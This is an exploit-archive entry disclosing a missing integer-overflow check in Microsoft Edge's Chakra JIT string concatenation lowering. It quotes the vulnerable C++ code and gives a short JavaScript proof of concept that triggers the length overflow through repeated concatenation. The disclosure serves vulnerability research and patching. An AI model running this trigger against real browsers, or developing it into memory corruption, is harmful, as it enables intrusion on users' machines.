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Microsoft Edge Chakra JIT - Lowerer::LowerSetConcatStrMultiItem Missing Integer Overflow Check
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[Security Risk Medium
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/*
The method "Lowerer::LowerSetConcatStrMultiItem" is used to generate machine code to concatenate strings.
Here's a snippet of the method.
void Lowerer::LowerSetConcatStrMultiItem(IR::Instr * instr)
{
...
IR::IndirOpnd * dstLength = IR::IndirOpnd::New(concatStrOpnd, Js::ConcatStringMulti::GetOffsetOfcharLength(), TyUint32, func);
...
InsertAdd(false, dstLength, dstLength, srcLength, instr); <<------ (a)
...
}
At (a), there's no check for integer overflow.
Note: Chakra uses string chains to handle concatenated strings(the ConcatString class). So it doesn't require much memory to trigger the bug.
PoC:
*/
let a = '';
let b = 'A'.repeat(0x10000);
for (let i = 0; i < 0x10000; i++) {
a = 'BBBBBBBBB' + a + b;
}
print(a.length);
print(b.length);
print(a[0]);
# 0day.today [2024-10-05] #